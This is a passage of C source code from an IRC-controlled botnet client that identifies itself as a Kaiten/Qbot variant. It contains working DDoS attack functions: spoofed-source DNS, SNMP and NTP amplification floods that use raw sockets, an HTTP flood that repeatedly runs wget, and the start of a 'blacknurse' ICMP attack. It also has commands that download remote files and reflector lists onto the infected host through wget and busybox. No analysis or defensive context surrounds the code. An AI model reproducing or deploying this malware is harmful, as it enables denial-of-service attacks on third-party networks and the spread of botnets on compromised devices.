int sock2,i,d;
916
struct sockaddr_in server;
917
unsigned long ipaddr;
918
char buf[1024];
919
FILE *file;
920
unsigned char bufm[4096];
921
if(mfork(sender) != 0) return;
922
if(argc < 2) {
923
Send(sock, "NOTICE %s :GET <host> <save as>\n", sender);
924
exit(0);
925
}
926
if((sock2 = socket(AF_INET, SOCK_STREAM, 0)) == -1) {
927
Send(sock, "NOTICE %s :Unable to create socket.\n", sender);
928
exit(0);
929
}
930
if(!strncmp(argv[1],"http://",7)) strcpy(buf,argv[1]+7);
931
else strcpy(buf,argv[1]);
932
for (i=0;i<strlen(buf) && buf[i] != '/';i++);
933
buf[i]=0;
934
server.sin_family = AF_INET;
935
server.sin_port = htons(80);
936
if((ipaddr = inet_addr(buf)) == -1) {
937
struct hostent *hostm;
938
if((hostm=gethostbyname(buf)) == NULL) {
939
Send(sock, "NOTICE %s :Unable to resolve address.\n", sender);
940
exit(0);
941
}
942
memcpy((char*)&server.sin_addr, hostm->h_addr, hostm->h_length);
943
}
944
else server.sin_addr.s_addr = ipaddr;
945
memset(&(server.sin_zero), 0, 8);
946
if(connect(sock2,(struct sockaddr *)&server, sizeof(server)) != 0) {
947
Send(sock, "NOTICE %s :Unable to connect to http.\n", sender);
948
exit(0);
949
}
950
951
Send(sock2,"GET /%s HTTP/1.1\r\nConnection: Keep-Alive\r\nUser-Agent: Mozilla/4.75 [en] (X11; U; Linux 2.2.16-3 i686)\r\nHost: %s:80\r\nAccept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */*\r\nAccept-Encoding: gzip\r\nAccept-Language: en\r\nAccept-Charset: iso-8859-1,*,utf-8\r\n\r\n",buf+i+1,buf);
952
Send(sock, "NOTICE %s :Receiving file.\n", sender);
953
file=fopen(argv[2],"wb");
954
while(1) {
955
int i;
956
if((i=recv(sock2,bufm,4096,0)) <= 0) break;
957
if(i < 4096) bufm[i]=0;
958
for (d=0;d<i;d++) if(!strncmp(bufm+d,"\r\n\r\n",4)) {
959
for (d+=4;d<i;d++) fputc(bufm[d],file);
960
goto done;
961
}
962
}
963
done:
964
Send(sock, "NOTICE %s :Saved as %s\n", sender,argv[2]);
965
while(1) {
966
int i,d;
967
if((i=recv(sock2,bufm,4096,0)) <= 0) break;
968
if(i < 4096) bufm[i]=0;
969
for (d=0;d<i;d++) fputc(bufm[d],file);
970
}
971
fclose(file);
972
close(sock2);
973
exit(0);
974
}
975
976
void getspoofs(int sock, char *sender, int argc, char **argv) {
977
unsigned long a=spoofs,b=spoofs+(spoofsm-1);
978
if(spoofsm == 1) Send(sock, "NOTICE %s :Spoofs: %d.%d.%d.%d\n", sender,((u_char*)&a)[3],((u_char*)&a)[2],((u_char*)&a)[1],((u_char*)&a)[0]);
979
else Send(sock, "NOTICE %s :Spoofs: %d.%d.%d.%d - %d.%d.%d.%d\n", sender,((u_char*)&a)[3],((u_char*)&a)[2],((u_char*)&a)[1],((u_char*)&a)[0],((u_char*)&b)[3],((u_char*)&b)[2],((u_char*)&b)[1],((u_char*)&b)[0]);
980
}
981
982
void version(int sock, char *sender, int argc, char **argv) {
983
Send(sock, "NOTICE %s :Kaiten Ziggy Qbot Redo by Milenko version 14.0.0\n", sender);
984
}
985
986
void nickc(int sock, char *sender, int argc, char **argv) {
987
if(argc != 1) {
988
Send(sock, "NOTICE %s :NICK <nick>\n", sender);
989
return;
990
}
991
if(strlen(argv[1]) >= 33) {
992
Send(sock, "NOTICE %s :Nick cannot be larger than 32 characters.\n", sender);
993
return;
994
}
995
nick = argv[1];
996
Send(sock, "NICK %s\n",argv[1]);
997
}
998
999
int realrand(int low, int high) {
1000
srand(time(NULL) + getpid());
1001
return (rand() % (high + 1 - low) + low);
1002
}
1003
1004
void rndnick(int sock, char *sender, int argc, char **argv) {
1005
nick = randstring(realrand(4, 8));
1006
Send(sock, "NICK [%s|%s]%s\n", PREFIX, getBuild(), nick);
1007
}
1008
1009
void disable(int sock, char *sender, int argc, char **argv) {
1010
if(argc != 1) {
1011
Send(sock, "NOTICE %s :DISABLE <pass>\n", sender);
1012
Send(sock, "NOTICE %s :Current status is: %s\n", sender,disabled?"Disabled":"Enabled and awaiting orders");
1013
return;
1014
}
1015
if(disabled) {
1016
Send(sock, "NOTICE %s :Already disabled.\n", sender);
1017
return;
1018
}
1019
if(strlen(argv[1]) > 254) {
1020
Send(sock, "NOTICE %s :Password too long! > 254\n", sender);
1021
return;
1022
}
1023
disabled=1;
1024
memset(dispass,0,256);
1025
strcpy(dispass,argv[1]);
1026
Send(sock, "NOTICE %s :Disable sucessful.\n");
1027
}
1028
1029
void enable(int sock, char *sender, int argc, char **argv) {
1030
if(argc != 1) {
1031
Send(sock, "NOTICE %s :ENABLE <pass>\n", sender);
1032
Send(sock, "NOTICE %s :Current status is: %s\n", sender,disabled?"Disabled":"Enabled and awaiting orders");
1033
return;
1034
}
1035
if(!disabled) {
1036
Send(sock, "NOTICE %s :Already enabled.\n", sender);
1037
return;
1038
}
1039
if(strcasecmp(dispass,argv[1])) {
1040
Send(sock, "NOTICE %s :Wrong password\n", sender);
1041
return;
1042
}
1043
disabled=0;
1044
Send(sock, "NOTICE %s :Password correct.\n", sender);
1045
}
1046
1047
void spoof(int sock, char *sender, int argc, char **argv) {
1048
char ip[256];
1049
int i, num;
1050
unsigned long uip;
1051
struct sockaddr_in addr;
1052
if(argc != 1) {
1053
Send(sock, "NOTICE %s :Removed all spoofs\n", sender);
1054
spoofs=0;
1055
spoofsm=0;
1056
return;
1057
}
1058
if(strlen(argv[1]) > 16) {
1059
Send(sock, "NOTICE %s :What kind of subnet address is that? Do something like: 169.40\n", sender);
1060
return;
1061
}
1062
strcpy(ip,argv[1]);
1063
if(ip[strlen(ip)-1] == '.') ip[strlen(ip)-1] = 0;
1064
for (i=0, num=1;i<strlen(ip);i++) if(ip[i] == '.') num++;
1065
num=-(num-4);
1066
for (i=0;i<num;i++) strcat(ip,".0");
1067
inet_aton(ip, &(addr.sin_addr));
1068
uip = addr.sin_addr.s_addr;
1069
if(num == 0) spoofsm=1;
1070
else spoofsm=poww(256,num);
1071
spoofs=uip;
1072
}
1073
struct send_tcp {
1074
struct iphdr ip;
1075
struct tcphdr tcp;
1076
char buf[20];
1077
};
1078
struct pseudo_header {
1079
unsigned int source_address;
1080
unsigned int dest_address;
1081
unsigned char placeholder;
1082
unsigned char protocol;
1083
unsigned short tcp_length;
1084
struct tcphdr tcp;
1085
char buf[20];
1086
};
1087
unsigned int host2ip(char *sender,char *hostname) {
1088
static struct in_addr i;
1089
struct hostent *h;
1090
if((i.s_addr = inet_addr(hostname)) == -1) {
1091
if((h = gethostbyname(hostname)) == NULL) {
1092
Send(sock, "NOTICE %s :Unable to resolve %s\n", sender,hostname);
1093
exit(0);
1094
}
1095
bcopy(h->h_addr, (char *)&i.s_addr, h->h_length);
1096
}
1097
return i.s_addr;
1098
}
1099
1100
static uint32_t Q[4096], c = 362436;
1101
1102
struct list
1103
{
1104
struct sockaddr_in data;
1105
char domain[512];
1106
int line;
1107
struct list *next;
1108
struct list *prev;
1109
};
1110
struct list *head;
1111
1112
struct thread_data{
1113
int thread_id;
1114
struct list *list_node;
1115
struct sockaddr_in sin;
1116
int port;
1117
};
1118
1119
struct DNS_HEADER
1120
{
1121
unsigned short id; // identification number
1122
1123
unsigned char rd :1; // recursion desired
1124
unsigned char tc :1; // truncated message
1125
unsigned char aa :1; // authoritive answer
1126
unsigned char opcode :4; // purpose of message
1127
unsigned char qr :1; // query/response flag
1128
1129
unsigned char rcode :4; // response code
1130
unsigned char cd :1; // checking disabled
1131
unsigned char ad :1; // authenticated data
1132
unsigned char z :1; // its z! reserved
1133
unsigned char ra :1; // recursion available
1134
1135
unsigned short q_count; // number of question entries
1136
unsigned short ans_count; // number of answer entries
1137
unsigned short auth_count; // number of authority entries
1138
unsigned short add_count; // number of resource entries
1139
};
1140
1141
//Constant sized fields of query structure
1142
struct QUESTION
1143
{
1144
unsigned short qtype;
1145
unsigned short qclass;
1146
};
1147
1148
//Constant sized fields of the resource record structure
1149
struct QUERY
1150
{
1151
unsigned char *name;
1152
struct QUESTION *ques;
1153
};
1154
1155
void ChangetoDnsNameFormat(unsigned char* dns,unsigned char* host)
1156
{
1157
int lock = 0 , i;
1158
strcat((char*)host,".");
1159
1160
for(i = 0 ; i < strlen((char*)host) ; i++)
1161
{
1162
if(host[i]=='.')
1163
{
1164
*dns++ = i-lock;
1165
for(;lock<i;lock++)
1166
{
1167
*dns++=host[lock];
1168
}
1169
lock++; //or lock=i+1;
1170
}
1171
}
1172
*dns++='\0';
1173
}
1174
void init_rand(uint32_t x)
1175
{
1176
int i;
1177
1178
Q[0] = x;
1179
Q[1] = x + PHI;
1180
Q[2] = x + PHI + PHI;
1181
1182
for (i = 3; i < 4096; i++)
1183
Q[i] = Q[i - 3] ^ Q[i - 2] ^ PHI ^ i;
1184
}
1185
1186
uint32_t rand_cmwc(void)
1187
{
1188
uint64_t t, a = 18782LL;
1189
static uint32_t i = 4095;
1190
uint32_t x, r = 0xfffffffe;
1191
i = (i + 1) & 4095;
1192
t = a * Q[i] + c;
1193
c = (t >> 32);
1194
x = t + c;
1195
if(x < c) {
1196
x++;
1197
c++;
1198
}
1199
return (Q[i] = r - x);
1200
}
1201
1202
void setup_udp_header(struct udphdr *udph)
1203
{
1204
1205
}
1206
1207
void *dnsflood(void *par1)
1208
{
1209
if(listFork()) return;
1210
struct thread_data *td = (struct thread_data *)par1;
1211
1212
char strPacket[MAX_PACKET_SIZE];
1213
int iPayloadSize = 0;
1214
1215
struct sockaddr_in sin = td->sin;
1216
struct list *list_node = td->list_node;
1217
int iPort = td->port;
1218
1219
int s = socket(AF_INET, SOCK_RAW, IPPROTO_RAW);
1220
if(s < 0) {
1221
exit(-1);
1222
}
1223
1224
//init random
1225
init_rand(time(NULL));
1226
1227
// Clear the data
1228
memset(strPacket, 0, MAX_PACKET_SIZE);
1229
1230
// Make the packet
1231
struct iphdr *iph = (struct iphdr *) &strPacket;
1232
iph->ihl = 5;
1233
iph->version = 4;
1234
iph->tos = 0;
1235
iph->tot_len = sizeof(struct iphdr) + 38;
1236
iph->id = htonl(54321);
1237
iph->frag_off = 0;
1238
iph->ttl = MAXTTL;
1239
iph->protocol = IPPROTO_UDP;
1240
iph->check = 0;
1241
iph->saddr = inet_addr("192.168.3.100");
1242
1243
iPayloadSize += sizeof(struct iphdr);
1244
1245
1246
struct udphdr *udph = (struct udphdr *) &strPacket[iPayloadSize];
1247
udph->source = htons(iPort);
1248
udph->dest = htons(53);
1249
udph->check = 0;
1250
1251
iPayloadSize += sizeof(struct udphdr);
1252
1253
struct DNS_HEADER *dns = (struct DNS_HEADER *) &strPacket[iPayloadSize];
1254
dns->id = (unsigned short) htons(rand_cmwc());
1255
dns->qr = 0; //This is a query
1256
dns->opcode = 0; //This is a standard query
1257
dns->aa = 0; //Not Authoritative
1258
dns->tc = 0; //This message is not truncated
1259
dns->rd = 1; //Recursion Desired
1260
dns->ra = 0; //Recursion not available! hey we dont have it
1261
dns->z = 0;
1262
dns->ad = 0;
1263
dns->cd = 0;
1264
dns->rcode = 0;
1265
dns->q_count = htons(1); //we have only 1 question
1266
dns->ans_count = 0;
1267
dns->auth_count = 0;
1268
dns->add_count = htons(1);
1269
1270
iPayloadSize += sizeof(struct DNS_HEADER);
1271
1272
sin.sin_port = udph->source;
1273
iph->saddr = sin.sin_addr.s_addr;
1274
iph->daddr = list_node->data.sin_addr.s_addr;
1275
iph->check = csum ((unsigned short *) strPacket, iph->tot_len >> 1);
1276
1277
1278
char strDomain[512];
1279
int i;
1280
int j = 0;
1281
int iAdditionalSize = 0;
1282
while(1)
1283
{
1284
if(j==2){
1285
usleep(100);
1286
j=0;
1287
}
1288
1289
1290
1291
//set the next node
1292
list_node = list_node->next;
1293
1294
//Clear the old domain and question
1295
memset(&strPacket[iPayloadSize + iAdditionalSize], 0, iAdditionalSize+256);
1296
1297
//add the chosen domain and question
1298
iAdditionalSize = 0;
1299
1300
unsigned char *qname = (unsigned char*) &strPacket[iPayloadSize + iAdditionalSize];
1301
1302
strcpy(strDomain, list_node->domain);
1303
ChangetoDnsNameFormat(qname, strDomain);
1304
//printf("!!%s %d\n", list_node->domain, list_node->line);
1305
1306
iAdditionalSize += strlen(qname) + 1;
1307
1308
struct QUESTION *qinfo = (struct QUESTION *) &strPacket[iPayloadSize + iAdditionalSize];
1309
qinfo->qtype = htons(255); //type of the query , A , MX , CNAME , NS etc
1310
qinfo->qclass = htons(1);
1311
1312
iAdditionalSize += sizeof(struct QUESTION);
1313
1314
strPacket[iPayloadSize + iAdditionalSize] = 0x00;
1315
strPacket[iPayloadSize + iAdditionalSize + 1] = 0x00;
1316
strPacket[iPayloadSize + iAdditionalSize + 2] = 0x29;
1317
strPacket[iPayloadSize + iAdditionalSize + 3] = 0x23;
1318
strPacket[iPayloadSize + iAdditionalSize + 4] = 0x28;
1319
strPacket[iPayloadSize + iAdditionalSize + 5] = 0x00;
1320
strPacket[iPayloadSize + iAdditionalSize + 6] = 0x00;
1321
strPacket[iPayloadSize + iAdditionalSize + 7] = 0x00;
1322
strPacket[iPayloadSize + iAdditionalSize + 8] = 0x00;
1323
strPacket[iPayloadSize + iAdditionalSize + 9] = 0x00;
1324
strPacket[iPayloadSize + iAdditionalSize + 10] = 0x00;
1325
strPacket[iPayloadSize + iAdditionalSize + 11] = 0x00;
1326
1327
iAdditionalSize += 11;
1328
1329
1330
//set new node data
1331
iph->daddr = list_node->data.sin_addr.s_addr;
1332
1333
udph->len= htons((iPayloadSize + iAdditionalSize) - sizeof(struct iphdr));
1334
iph->tot_len = iPayloadSize + iAdditionalSize;
1335
1336
udph->source = htons(rand_cmwc() & 0xFFFF);
1337
iph->check = csum ((unsigned short *) strPacket, iph->tot_len >> 1);
1338
1339
//send
1340
for(i = 0; i < PACKETS_PER_RESOLVER; i++)
1341
{
1342
sendto(s, strPacket, iph->tot_len, 0, (struct sockaddr *) &list_node->data, sizeof(list_node->data));
1343
}
1344
1345
j++;
1346
}
1347
}
1348
1349
void ParseResolverLine(char *strLine, int iLine)
1350
{
1351
char caIP[32] = "";
1352
char caDNS[512] = "";
1353
1354
int i;
1355
char buffer[512] = "";
1356
1357
int moved = 0;
1358
1359
for(i = 0; i < strlen(strLine); i++)
1360
{
1361
if(strLine[i] == ' ' || strLine[i] == '\n' || strLine[i] == '\t')
1362
{
1363
moved++;
1364
continue;
1365
}
1366
1367
if(moved == 0)
1368
{
1369
caIP[strlen(caIP)] = (char) strLine[i];
1370
}
1371
else if(moved == 1)
1372
{
1373
caDNS[strlen(caDNS)] = (char) strLine[i];
1374
}
1375
}
1376
1377
//printf("Found resolver %s, domain %s!\n", caIP, caDNS);
1378
1379
if(head == NULL)
1380
{
1381
head = (struct list *)malloc(sizeof(struct list));
1382
1383
bzero(&head->data, sizeof(head->data));
1384
1385
head->data.sin_addr.s_addr=inet_addr(caIP);
1386
head->data.sin_port=htons(53);
1387
strcpy(head->domain, caDNS);
1388
head->line = iLine;
1389
head->next = head;
1390
head->prev = head;
1391
}
1392
else
1393
{
1394
struct list *new_node = (struct list *)malloc(sizeof(struct list));
1395
1396
memset(new_node, 0x00, sizeof(struct list));
1397
1398
new_node->data.sin_addr.s_addr=inet_addr(caIP);
1399
new_node->data.sin_port=htons(53);
1400
strcpy(new_node->domain, caDNS);
1401
new_node->prev = head;
1402
head->line = iLine;
1403
new_node->next = head->next;
1404
head->next = new_node;
1405
}
1406
}
1407
1408
void dns(int sockfd, char *sender, int argc, char **argv)
1409
{
1410
if(mfork(sender) != 0) return;
1411
int get;
1412
if((get = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0) exit(1);
1413
if(argc < 5) {
1414
Send(sock, "NOTICE %s :DNS <IP> <port> <reflection file url> <threads> <time>\n", sender);
1415
exit(-1);
1416
}
1417
char command[1024];
1418
int myLen = 160 + (strlen(argv[3]) * 5);
1419
if(myLen >= 1024) {
1420
return;
1421
}
1422
snprintf(command, myLen, "wget \"%s\" -q -O DNS.txt || busybox wget \"%s\" -O DNS.txt || /bin/busybox wget \"%s\" -O DNS.txt || /usr/busybox wget \"%s\" -O DNS.txt || /var/run/busybox wget \"%s\" -O DNS.txt", argv[3], argv[3], argv[3], argv[3], argv[3]);
1423
system(command);
1424
head = NULL;
1425
char *strLine = (char *) malloc(256);
1426
strLine = memset(strLine, 0x00, 256);
1427
char strIP[32] = "";
1428
char strDomain[256] = "";
1429
int iLine = 0; // 0 = ip, 1 = domain.
1430
FILE *list_fd = fopen("DNS.txt", "r");
1431
while(fgets(strLine, 256, list_fd) != NULL) {
1432
ParseResolverLine(strLine, iLine);
1433
iLine++;
1434
}
1435
1436
1437
int i = 0;
1438
int num_threads = atoi(argv[4]);
1439
1440
struct list *current = head->next;
1441
struct sockaddr_in sin;
1442
sin.sin_family = AF_INET;
1443
sin.sin_port = htons(0);
1444
sin.sin_addr.s_addr = inet_addr(argv[1]);
1445
struct thread_data td[num_threads];
1446
1447
int iPort = atoi(argv[2]);
1448
1449
for(i = 0; i < num_threads; i++)
1450
{
1451
td[i].thread_id = i;
1452
td[i].sin= sin;
1453
td[i].list_node = current;
1454
td[i].port = iPort;
1455
dnsflood((void *) &td[i]);
1456
}
1457
1458
Send(sock, "NOTICE %s :DNS amp attacking %s:%s\n", sender,argv[1],argv[2]);
1459
if(argc > 4)
1460
{
1461
sleep(atoi(argv[5]));
1462
}
1463
1464
exit(1);
1465
}
1466
1467
/* NEW AND IMPROVED SNMPv2 AMPLIFICATION DDOS SKRIPT. */
1468
1469
struct list *head;
1470
volatile int tehport;
1471
volatile int limiter;
1472
volatile unsigned int pps;
1473
volatile unsigned int sleeptime = 83;
1474
1475
void setup_snmp_header(struct udphdr *udph)
1476
{
1477
udph->source = htons(4500);
1478
udph->dest = htons(161);
1479
udph->check = 0;
1480
memcpy((void *)udph + sizeof(struct udphdr), "\x45\x00\x00\x43\x00\x00\x40\x00\x40\x11\xe0\xce\xa8\xeb\x46\x40\x29\xb5\x40\xfb\xce\x19\x00\xa1\x00\x2f\x0a\x13\x30\x25\x02\x01\x01\x04\x06\x70\x75\x62\x6c\x69\x63\xa5\x18\x02\x04\x30\x54\xbc\x3f\x02\x01\x00\x02\x02\x08\xca\x30\x09\x30\x07\x06\x03\x2b\x06\x01\x05\x00", 67);
1481
udph->len=htons(sizeof(struct udphdr) + 67);
1482
}
1483
1484
void setup_ip_header(struct iphdr *iph)
1485
{
1486
iph->ihl = 5;
1487
iph->version = 4;
1488
iph->tos = 0;
1489
iph->tot_len = sizeof(struct iphdr) + sizeof(struct udphdr) + 14;
1490
iph->id = htonl(64074);
1491
iph->frag_off = 0;
1492
iph->ttl = MAXTTL;
1493
iph->protocol = IPPROTO_UDP;
1494
iph->check = 0;
1495
iph->saddr = inet_addr("192.168.1.83");
1496
}
1497
1498
void *snmpflood(void *par1)
1499
{
1500
struct thread_data *td = (struct thread_data *)par1;
1501
char datagram[MAX_PACKET_SIZE];
1502
struct iphdr *iph = (struct iphdr *)datagram;
1503
struct udphdr *udph = (/*u_int8_t*/void *)iph + sizeof(struct iphdr);
1504
struct sockaddr_in sin = td->sin;
1505
struct list *list_node = td->list_node;
1506
int s = socket(PF_INET, SOCK_RAW, IPPROTO_TCP);
1507
if(s < 0){
1508
exit(-1);
1509
}
1510
init_rand(time(NULL));
1511
memset(datagram, 0, MAX_PACKET_SIZE);
1512
setup_ip_header(iph);
1513
setup_snmp_header(udph);
1514
udph->source = htons(rand() % 65535 - 1026);
1515
iph->saddr = sin.sin_addr.s_addr;
1516
iph->daddr = list_node->data.sin_addr.s_addr;
1517
iph->check = csum ((unsigned short *) datagram, iph->tot_len >> 1);
1518
int tmp = 1;
1519
const int *val = &tmp;
1520
if(setsockopt(s, IPPROTO_IP, IP_HDRINCL, val, sizeof (tmp)) < 0){
1521
exit(-1);
1522
}
1523
init_rand(time(NULL));
1524
register unsigned int i;
1525
i = 0;
1526
while(1){
1527
sendto(s, datagram, iph->tot_len, 0, (struct sockaddr *) &list_node->data, sizeof(list_node->data));
1528
list_node = list_node->next;
1529
iph->daddr = list_node->data.sin_addr.s_addr;
1530
iph->id = htonl(rand_cmwc() & 0xFFFFFFFF);
1531
iph->check = csum ((unsigned short *) datagram, iph->tot_len >> 1);
1532
1533
pps++;
1534
if(i >= limiter)
1535
{
1536
i = 0;
1537
usleep(sleeptime);
1538
}
1539
i++;
1540
}
1541
}
1542
1543
void snmp(int sock, char *sender, int argc, char**argv) {
1544
if(mfork(sender) != 0) return;
1545
int get;
1546
if((get = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0) exit(1);
1547
if(argc < 6){
1548
Send(sock, "NOTICE %s :SNMP <IP> <port> <reflection file url> <threads> <pps limiter, -1 for no limit> <time>\n", sender);
1549
exit(-1);
1550
}
1551
1552
char command[1024];
1553
int myLen = 165 + (strlen(argv[3]) * 5);
1554
if(myLen >= 1024) {
1555
return;
1556
}
1557
snprintf(command, myLen, "wget \"%s\" -q -O SNMP.txt || busybox wget \"%s\" -O SNMP.txt || /bin/busybox wget \"%s\" -O SNMP.txt || /usr/busybox wget \"%s\" -O SNMP.txt || /var/run/busybox wget \"%s\" -O SNMP.txt", argv[3], argv[3], argv[3], argv[3], argv[3]);
1558
system(command);
1559
srand(time(NULL));
1560
int i = 0;
1561
head = NULL;
1562
int max_len = 128;
1563
char *buffer = (char *) malloc(max_len);
1564
buffer = memset(buffer, 0x00, max_len);
1565
int num_threads = atoi(argv[4]);
1566
int maxpps = atoi(argv[5]);
1567
limiter = 0;
1568
pps = 0;
1569
int multiplier = 20;
1570
FILE *list_fd = fopen("SNMP.txt", "r");
1571
while(fgets(buffer, max_len, list_fd) != NULL) {
1572
if((buffer[strlen(buffer) - 1] == '\n') ||
1573
(buffer[strlen(buffer) - 1] == '\r')) {
1574
buffer[strlen(buffer) - 1] = 0x00;
1575
if(head == NULL)
1576
{
1577
head = (struct list *)malloc(sizeof(struct list));
1578
bzero(&head->data, sizeof(head->data));
1579
head->data.sin_addr.s_addr=inet_addr(buffer);
1580
head->next = head;
1581
head->prev = head;
1582
} else {
1583
struct list *new_node = (struct list *)malloc(sizeof(struct list));
1584
memset(new_node, 0x00, sizeof(struct list));
1585
new_node->data.sin_addr.s_addr=inet_addr(buffer);
1586
new_node->prev = head;
1587
new_node->next = head->next;
1588
head->next = new_node;
1589
}
1590
i++;
1591
} else {
1592
continue;
1593
}
1594
}
1595
struct list *current = head->next;
1596
struct sockaddr_in sin;
1597
sin.sin_family = AF_INET;
1598
sin.sin_addr.s_addr = inet_addr(argv[1]);
1599
struct thread_data td[num_threads];
1600
for(i = 0;i<num_threads;i++){
1601
td[i].thread_id = i;
1602
td[i].sin= sin;
1603
td[i].list_node = current;
1604
snmpflood((void *) &td[i]);
1605
}
1606
1607
Send(sock, "NOTICE %s :SNMP amp attacking %s:%s\n", sender,argv[1],argv[2]);
1608
1609
for(i = 0;i<(atoi(argv[6])*multiplier);i++)
1610
{
1611
usleep((1000/multiplier)*1000);
1612
if((pps*multiplier) > maxpps)
1613
{
1614
if(1 > limiter)
1615
{
1616
sleeptime+=100;
1617
} else {
1618
limiter--;
1619
}
1620
} else {
1621
limiter++;
1622
if(sleeptime > 25)
1623
{
1624
sleeptime-=25;
1625
} else {
1626
sleeptime = 0;
1627
}
1628
}
1629
pps = 0;
1630
}
1631
return;
1632
}
1633
1634
void wgetHTTP(int sock, char *sender, int argc, char **argv) {
1635
unsigned char *url;
1636
int end_time;
1637
if(mfork(sender) != 0) return;
1638
if(argc < 2) {
1639
Send(sock, "NOTICE %s :WGETFLOOD <url> <secs>\n", sender);
1640
exit(1);
1641
}
1642
1643
url = argv[1];
1644
end_time = atoi(argv[2]);
1645
1646
int end = time(NULL) + end_time;
1647
char *UA = UserAgents[(rand() % 36)];
1648
char command[1024];
1649
1650
Send(sock, "NOTICE %s :HTTP Flooding %s\n", sender, url);
1651
1652
1653
while(end > time(NULL))
1654
{
1655
UA = UserAgents[(rand() % 36)];
1656
snprintf(command, 164 + (strlen(UA) * 4) + (strlen(url) * 4), "wget -U \"%s\" -q \"%s\" -O /dev/null || busybox wget -U \"%s\" -q \"%s\" -O /dev/null || /bin/busybox wget -U \"%s\" -q \"%s\" -O /dev/null || /usr/busybox wget -U \"%s\" -q \"%s\" -O /dev/null &", UA, url, UA, url, UA, url, UA, url);
1657
system(command);
1658
}
1659
exit(1);
1660
}
1661
1662
void *ntpflood(void *par1)
1663
{
1664
struct thread_data *td = (struct thread_data *)par1;
1665
char datagram[MAX_PACKET_SIZE];
1666
struct iphdr *iph = (struct iphdr *)datagram;
1667
struct udphdr *udph = (/*u_int8_t*/void *)iph + sizeof(struct iphdr);
1668
struct sockaddr_in sin = td->sin;
1669
struct list *list_node = td->list_node;
1670
int s = socket(PF_INET, SOCK_RAW, IPPROTO_TCP);
1671
if(s < 0){
1672
exit(-1);
1673
}
1674
init_rand(time(NULL));
1675
memset(datagram, 0, MAX_PACKET_SIZE);
1676
setup_ip_header(iph);
1677
setup_udp_header(udph);
1678
udph->source = htons((rand() % (65535 - 1026)) + 1026);
1679
iph->saddr = sin.sin_addr.s_addr;
1680
iph->daddr = list_node->data.sin_addr.s_addr;
1681
iph->check = csum ((unsigned short *) datagram, iph->tot_len >> 1);
1682
int tmp = 1;
1683
const int *val = &tmp;
1684
if(setsockopt(s, IPPROTO_IP, IP_HDRINCL, val, sizeof (tmp)) < 0){
1685
exit(-1);
1686
}
1687
init_rand(time(NULL));
1688
register unsigned int i;
1689
i = 0;
1690
while(1){
1691
sendto(s, datagram, iph->tot_len, 0, (struct sockaddr *) &list_node->data, sizeof(list_node->data));
1692
list_node = list_node->next;
1693
iph->daddr = list_node->data.sin_addr.s_addr;
1694
iph->id = htonl(rand_cmwc() & 0xFFFFFFFF);
1695
iph->check = csum ((unsigned short *) datagram, iph->tot_len >> 1);
1696
1697
pps++;
1698
if(i >= limiter)
1699
{
1700
i = 0;
1701
usleep(sleeptime);
1702
}
1703
i++;
1704
}
1705
}
1706
1707
void ntp(int sock, char *sender, int argc, char **argv) {
1708
if(mfork(sender) != 0) return;
1709
int get;
1710
if((get = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0) exit(1);
1711
if(argc < 6) {
1712
Send(sock, "NOTICE %s :NTP <target IP> <target port> <reflection file url> <threads> <pps limiter, -1 for no limit> <time>\n", sender);
1713
exit(1);
1714
}
1715
char command[1024];
1716
int myLen = 160 + (strlen(argv[3]) * 5);
1717
if(myLen >= 1024) {
1718
return;
1719
}
1720
snprintf(command, myLen, "wget \"%s\" -q -O NTP.txt || busybox wget \"%s\" -O NTP.txt || /bin/busybox wget \"%s\" -O NTP.txt || /usr/busybox wget \"%s\" -O NTP.txt || /var/run/busybox wget \"%s\" -O NTP.txt", argv[3], argv[3], argv[3], argv[3], argv[3]);
1721
system(command);
1722
srand(time(NULL));
1723
int i = 0;
1724
head = NULL;
1725
int max_len = 128;
1726
char *buffer = (char *) malloc(max_len);
1727
buffer = memset(buffer, 0x00, max_len);
1728
int num_threads = atoi(argv[4]);
1729
int maxpps = atoi(argv[5]);
1730
limiter = 0;
1731
pps = 0;
1732
int multiplier = 20;
1733
FILE *list_fd = fopen("NTP.txt", "r");
1734
while(fgets(buffer, max_len, list_fd) != NULL) {
1735
if((buffer[strlen(buffer) - 1] == '\n') ||
1736
(buffer[strlen(buffer) - 1] == '\r')) {
1737
buffer[strlen(buffer) - 1] = 0x00;
1738
if(head == NULL)
1739
{
1740
head = (struct list *)malloc(sizeof(struct list));
1741
bzero(&head->data, sizeof(head->data));
1742
head->data.sin_addr.s_addr=inet_addr(buffer);
1743
head->next = head;
1744
head->prev = head;
1745
} else {
1746
struct list *new_node = (struct list *)malloc(sizeof(struct list));
1747
memset(new_node, 0x00, sizeof(struct list));
1748
new_node->data.sin_addr.s_addr=inet_addr(buffer);
1749
new_node->prev = head;
1750
new_node->next = head->next;
1751
head->next = new_node;
1752
}
1753
i++;
1754
} else {
1755
continue;
1756
}
1757
}
1758
struct list *current = head->next;
1759
struct sockaddr_in sin;
1760
sin.sin_family = AF_INET;
1761
sin.sin_addr.s_addr = inet_addr(argv[1]);
1762
struct thread_data td[num_threads];
1763
for(i = 0;i<num_threads;i++){
1764
td[i].thread_id = i;
1765
td[i].sin= sin;
1766
td[i].list_node = current;
1767
ntpflood((void *) &td[i]);
1768
}
1769
1770
Send(sock, "NOTICE %s :NTP amp attacking %s:%s\n", sender,argv[1],argv[2]);
1771
1772
for(i = 0;i<(atoi(argv[6])*multiplier);i++)
1773
{
1774
usleep((1000/multiplier)*1000);
1775
if((pps*multiplier) > maxpps)
1776
{
1777
if(1 > limiter)
1778
{
1779
sleeptime+=100;
1780
} else {
1781
limiter--;
1782
}
1783
} else {
1784
limiter++;
1785
if(sleeptime > 25)
1786
{
1787
sleeptime-=25;
1788
} else {
1789
sleeptime = 0;
1790
}
1791
}
1792
pps = 0;
1793
}
1794
exit(0);
1795
}
1796
1797
void blacknurse(int sock, char *sender, int argc, char *argv[])
1798
{
1799
uint8_t pkt_template[] = {
1800
0x03, 0x03, 0x0d, 0x33, 0x00, 0x00, 0x00, 0x00, 0x45, 0x00, 0x00, 0x1c, 0x4a, 0x04, 0x00, 0x00,
1801
0x40, 0x06, 0x20, 0xc5, 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, 0x07, 0x08, 0x00, 0x00, 0x00, 0x00,
1802
0x00, 0x08, 0xef, 0xc1
1803
};
1804
uint8_t *pkt;
1805
struct addrinfo *ai, hints;
1806
const char *host;
1807
struct pollfd pfd;
1808
